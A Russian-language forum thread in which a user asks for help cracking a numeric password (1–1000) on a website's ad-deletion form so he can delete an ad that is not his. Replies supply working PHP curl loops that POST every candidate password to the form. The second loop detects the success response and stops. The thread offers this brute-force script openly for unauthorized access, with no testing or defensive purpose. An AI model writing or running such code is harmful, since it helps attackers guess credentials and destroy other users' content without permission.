Помогите зациклить POST.

Статус
В этой теме нельзя размещать новые ответы.

rom4art2

Постоялец
Регистрация
27 Фев 2009
Сообщения
276
Реакции
172
Парни помогите сделать цикл, что бы взломать некий маленький пароль.:-]
В общев смотрите, вот сама форма удаления:

<FORM action="command.php" method="post">
<input type="hidden" name="cmd" value="del_ads">
<input name="ads_id" type=text>
<input name="password" type=text>
<input type="submit" value="Удалить">

"ads_id" - у меня есть. (например 32134)
"password" - у меня нет:confused: (но я знаю что это число в пределе от 1 до 1000)
Поможет кто кодом? Думаю надо зациклить отправку формы на 1000 раз, и в цикле менять "password".
вроде все просто, но у меня не получается.
:thenks:
 
PHP:
<?php

for( $password_counter = 1; $password_counter < 1000; $password_counter++ ) { 
 $ch = curl_init('http://site.com/command.php');
 curl_setopt ($ch, CURLOPT_POST, 1);
 curl_setopt ($ch, CURLOPT_POSTFIELDS, "cmd=del_ads&ads_id=32134&password=$password_counter");
 curl_exec ($ch);
 curl_close ($ch);
}

?>
 
только вот нада еще условие дописать
вдруг пароль правильный и остановиться нада
 
PHP:
  <?php

for( $password_counter = 1; $password_counter < 1000; $password_counter++ ) { 
 $ch = curl_init('http://site.com/command.php');
 curl_setopt ($ch, CURLOPT_POST, 1);
 curl_setopt ($ch, CURLOPT_POSTFIELDS, "cmd=del_ads&ads_id=32134&password=$password_counter");
 $result = curl_exec ($ch);
 curl_close ($ch);
if(strpos($result,'строка появляющаяся в исходном коде сайта после успешного логина') !== false){
print $password_counter;
break;
}
}

?>
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху